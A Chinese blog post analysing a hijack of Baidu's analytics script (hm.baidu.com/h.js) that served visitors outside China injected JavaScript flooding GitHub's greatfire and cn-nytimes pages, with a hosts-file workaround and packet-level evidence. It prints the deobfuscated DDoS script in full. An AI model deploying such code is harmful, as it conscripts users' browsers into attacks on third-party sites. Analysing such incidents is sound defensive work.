一招解决WARNING: malicious javascript detected on this domain

临时解决方法:

修改hosts,添加""127.0.0.1 hm.baidu.com" 。

详细原因分析:今天中午刷着全国最大的信息安全从业人员同性交友社区zone.wooyun.org的时候,忽然浏览器每隔2秒就不断的弹窗:

malicious javascript detected on this domain



我第一反应就是不知道哪个调皮的基友又把zone给XSS了,马上打开开发者工具分析。

0x01 细节

之后立刻发现弹窗的js居然是从github加载的:



可是为什么乌云会从github加载js呢,并且还是从greatfire和纽约时报镜像加载。

第一反应是页面有xss或者js被劫持了,找了半天终于找到了,居然是

hm.baidu.com/h.js

这个js的确被乌云加载了没错,这是百度统计的js代码,打开后里面是一个简单加密后的js,eval了一串编码后的内容,随便找了个在线解密看了下,发现如下内容:


1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39


document.write("<script src='http://libs.baidu.com/jquery/2.0.0/jquery.min.js'>x3c/script>");

!window.jQuery && document.write("<script src='http://code.jquery.com/jquery-latest.js'>x3c/script>");

startime = (new Date).getTime();

var count = 0;

function unixtime() {

var a = new Date;

return Date.UTC(a.getFullYear(), a.getMonth(), a.getDay(), a.getHours(), a.getMinutes(), a.getSeconds()) / 1E3

}

url_array = ["https://github.com/greatfire/", "https://github.com/cn-nytimes/"];

NUM = url_array.length;

function r_send2() {

var a = unixtime() % NUM;

get(url_array[a])

}

function get(a) {

var b;

$.ajax({

url: a,

dataType: "script",

timeout: 1E4,

cache: !0,

beforeSend: function() {

requestTime = (new Date).getTime()

},

complete: function() {

responseTime = (new Date).getTime();

b = Math.floor(responseTime - requestTime);

3E5 > responseTime - startime && (r_send(b), count += 1)

}

})

}

function r_send(a) {

setTimeout("r_send2()", a)

}

setTimeout("r_send2()", 2E3);

大概功能就是关闭缓存后每隔2秒加载一次

url_array = ["https://github.com/greatfire/", "https://github.com/cn-nytimes/"];

里面的两个url

问了下墙内的小伙伴们,他们看到的js都是正常的,但是通过墙外ip访问

http://hm.baidu.com/h.js

就会得到上面的js文件,每隔2秒请求一下这两个url。

打开twitter看了下,似乎从3月18号以来Github就受到了DDoS攻击,之后greatfire把被攻击的页面内容换成了


1


alert("WARNING: malicious javascript detected on this domain")

以弹窗的方式阻止了js的循环执行。



图3 国外ip traceroute到hm.baidu.com的记录

似乎DNS并没有被劫持,看来是像之前一样直接把IP劫持了或者直接在HTTP协议里替换文件。



扫了下端口,只开了80和443,通过https协议访问后是正常的空页面(只有带referer才会出现js文件)。



作者要进行抓包分析时劫持已经停止,在twitter上看到有人已经分析过引用如下:

抓包跟踪,正常百度服务器返回给我日本VPS的TTL为51, RESP返回HTTP 200 OK的报文的TTL是47,可以确定的是有中间设备对VPS发了伪造报文。



真是无耻,呵呵

忽然想起一句话,之前DNS被劫持到外国服务器的时候某站长说的:

They have weaponized their entire population.

现在应该是:

They have weaponized their entire population of the Earth.

(0)

相关推荐

  • 五招解决Win7资源管理器失去响应

    五招解决Win7资源管理器失去响应 Windows 7虽好,可是小问题不断。从Beta版本至今,很多朋友遇到最严重的问题就是资源管理器偶尔或者经常失去响应,虽然不是什么非重装的问题,但是时不时电脑卡上 ...

  • 5招解决Win7资源管理器失去响应

     五招解决Win7资源管理器失去响应 Windows 7虽好,可是小问题不断。从Beta版本至今,很多朋友遇到最严重的问题就是资源管理器偶尔或者经常失去响应,虽然不是什么非重装的问题,但是时不时电脑卡 ...

  • 你家的Wi-Fi被蹭了!你造吗?简单6招解决蹭网问题

    现在很多智能路由器都自带手机APP,可以随时查看联网的设备,踢到蹭网设备也是轻而易举。但路由器不是年抛设备,很多人都还用着老古董,对于它们,应该如何查看是否被蹭网呢?又该如何规避呢?下面简单6招解决蹭 ...

  • 通过重置一招解决win10出现的各种bug win10bug解决教程

    win10发布以来,随着用户安装升级热情高涨,一系列的问题就出来了,很多人表示安装win10后有各种bug,如开机黑屏,应用商店闪退,还有打开操作中心.开始菜单的时候各种卡顿,由于大家问题太多,这里小 ...

  • 怎么一招解决win10出现的各种bug

    此办法会导致电脑软件和系统设置被清除,之后电脑会丝滑流畅,各种bug也没了. 一招解决win10出现的各种bug一.小编建议先备份显卡驱动(非必要),打开"设置-更新与安全-恢复" ...

  • 一招解决Win10的Delivery Optimization占用流量

    Win10的Delivery Optimization是类似P2P那种用来传递补丁信息的,就是win10在后台下更新.有时候当我们连接按流量计费的网络时,win10偷偷跑流量很受伤!我们就该束手待毙么 ...

  • 一招解决Photoshop软件无法与PSD文件关联问题

    问题概况:Windows 7下安装 photoshop cs3.cs4.cs5.cs6.cc ,以及 安装 photoshop绿色版免安装版软件后 ,无法关联上PSD文件,右键PSD打开方式里不显示p ...

  • 2招解决忘记IE分级审查密码无需格式化硬盘

    分级审查可以帮助你控制在该计算机上看到的Internet内容。该功能非常的有用,如果您的家里有小孩,这个功能就可以帮助你,防止他在您不在家时上网浏览儿童不宜的内容,如暴力和性等。其实,用过IE的人可能 ...

  • 四招解决无线网络信号太弱问题

     “又没信号了,难道网络没有覆盖到这儿”,经常听到无线网络用户抱怨无线连接的信号太弱,有的时候甚至影响到正常的网络连接。那么,无线网络信号太弱时,我们该怎么办呢?下面就教你四招,解决无线网络信号太弱的 ...